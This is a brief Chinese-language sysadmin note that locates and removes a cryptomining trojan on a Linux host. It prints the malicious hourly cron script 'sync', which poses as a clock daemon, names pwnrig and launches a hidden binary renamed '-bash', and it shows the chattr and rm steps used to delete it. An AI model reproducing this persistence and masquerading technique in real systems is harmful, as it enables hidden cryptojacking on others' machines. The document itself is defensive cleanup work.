挖矿木马位置

一 位置

[root@localhost info]# cd /etc/cron.hourly/
[root@localhost cron.hourly]# ls
0anacron  sync
[root@localhost cron.hourly]# more sync 
#!/bin/bash
#
#      Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null

二 删除:

[root@localhost cron.hourly]# lsattr sync 
----i--------------- sync
[root@localhost cron.hourly]# chattr -R -i sync 
[root@localhost cron.hourly]# rm sync 
rm: remove regular file 'sync'? y

[root@localhost cron.hourly]# chattr -R -i /bin/sysdrr
[root@localhost cron.hourly]# rm /bin/sysdrr
rm: remove regular file '/bin/sysdrr'? y
[root@localhost cron.hourly]# ls
0anacron
[root@localhost cron.hourly]# chattr -R -i /bin/sysdrr
chattr: No such file or directory while trying to stat /bin/sysdrr